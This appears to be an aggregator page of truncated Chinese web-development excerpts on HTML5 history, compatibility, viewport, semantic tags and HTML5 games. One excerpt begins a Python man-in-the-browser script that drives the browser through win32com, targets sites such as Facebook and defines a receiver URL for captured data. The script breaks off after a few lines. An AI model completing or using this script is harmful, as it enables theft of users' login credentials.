一.popstate用来做什么的?简而言之就是HTML5新增的用来控制浏览器历史记录的api. 二.过去如何操纵浏览器历史记录? window.history对象,该对象上包含有length和state的两个值,在它的__proto__上继承有back.forward.go等几个功能函数 在popstate之前,我们可以利用back.forward.go对history进行后退和前进操作. 例如: history.back(); (后退一步,使用history.go(-1)也可实现后退效果) 弊…
HTML2.HTML5刚发布时由于各浏览器之间的标准不统一,开发者的时间都浪费在解决Web浏览器之间的兼容性上.但由于W3C和WHATWG对HTML5新版本的制定,以及近年来对HTML5的使用,再加上各大浏览器鼎力支持,已经有非常丰富的兼容性解决方案,多数应用HTML5在老版本的浏览器上也可以正常运行,正是因为保障了兼容性才能让人毫不犹豫的用HTML5开发网站.HTML5内部并没有封装什么很复杂的.不切实际的功能,而是封装了简单实用的功能,HTML5内部功能不是革命性的而是发展性的,并不代表HT…
浏览器对语义元素的支持情况 如今HTML5愈来愈引发大家的关注了,但目前支持HTML5的浏览器还不是主流,特别是国内用户近50%以上仍旧使用IE6,由于支持HTML5的IE9不支持Xp系统安装,这样未来很长一段时间,HTML5的开发者将必须考虑向下兼容的问题.HTML5的标签或CSS选择器兼容性的做法有很多,其中自己生成标签元素就是一种. 为了让浏览器能识别html新标签并显示对应样式的效果有几种不同的办法: 一.不认识html5语义元素的浏览器不知道因为怎样把它们显示成块级元素,所以会把它们挤…
原文地址:http://www.oschina.net/news/32364/html5-games 游戏,毫无疑问是拿来供大家娱乐玩耍的,这也无可厚非,但是,今天给大家分享的8个HTML5游戏,在好玩的同时,相信也会有不少HTML5开发者对其源代码感兴趣,一起来看看吧. 1.Project Blaze Zero:HTML5 3D射击游戏 Project Blaze Zero是一款基于HTML5技术的3D射击游戏,该游戏以一架战斗机作为主角,在浩瀚的太空中英勇杀敌.游戏中,X为普通射击,C为投放…
解决方案:IE9以下旧版本浏览器不支持新的语义化标签.其中一种解决方案就是用js将HTML5增加的标签创建出来,就像下面这样.(放在header部位) <script> var html5Tags=['header' ,'footer','article','nav' ,'section','aside'] for(var i=0;i<html5Tags.length;i++){ document.createElement(html5Tags[i]); } </script>…
基本 <meta name="viewport" content="width=device-width, initial-scale=1">1920x1080的手机,对于html5的页面来讲,获得的device-width,一般是420px,这个值是经过浏览器转换过的,与屏幕像素宽度不同 A pixel is not a pixelhtml5页面中使用px,是经过转换的,一般是有多个screen像素组成一个html5页面像素,相当于android里的d…
注释标签 ruby: 行级元素 横排显示 试图写多个汉字和注释,需要多个ruby. 直接上代码: - css样式: 页面效果: 重点标记 mark: 以灰常黄的黄色来重点标记 页面代码: 类似于进度条的标签 meter: meter标签有以下的属性: min:类进度条的最小值 max:最大值 value:实际的值 页面代码: 设置meter的长与宽: 评判标准: low: 低于 low 是另一种颜色显示(残血了,快跑) optimum:状态良好(状态良好,可以开团) high: 状态完美(我将带…
移动端兼容参考文档 http://mobilehtml5.org/ 浏览器hack http://browserhacks.com/ 附上部分截图…
基于浏览器的中间人攻击: #coding=utf-8 import win32com.client import time import urlparse import urllib data_receiver = "http://localhost:8080/" target_sites = {} target_sites["www.facebook.com"] = { "logout_url" : None, "logout_for…
应该有很多前端开发人员都思考过这么一个问题:从输入 URL 到页面加载完成,中间都做发生了什么? 这个问题涉及的面非常广,每个涉及的点又很深入.从触屏/键盘如何到 CPU?CPU 如何到系统内核?如何从操作系统 GUI 到浏览器?浏览器如何向网卡发送数据?数据如何从本机网卡发送到服务器?服务器接收数据后如何处理?服务器返回数据后浏览器如何处理?浏览器如何将页面展现出来?等等等等,每一个过程都包含了大量且深入的知识体系,很难一以贯通. 但作为前端开发人员,浏览器是我们的主要工具之一,浏览器是如何将…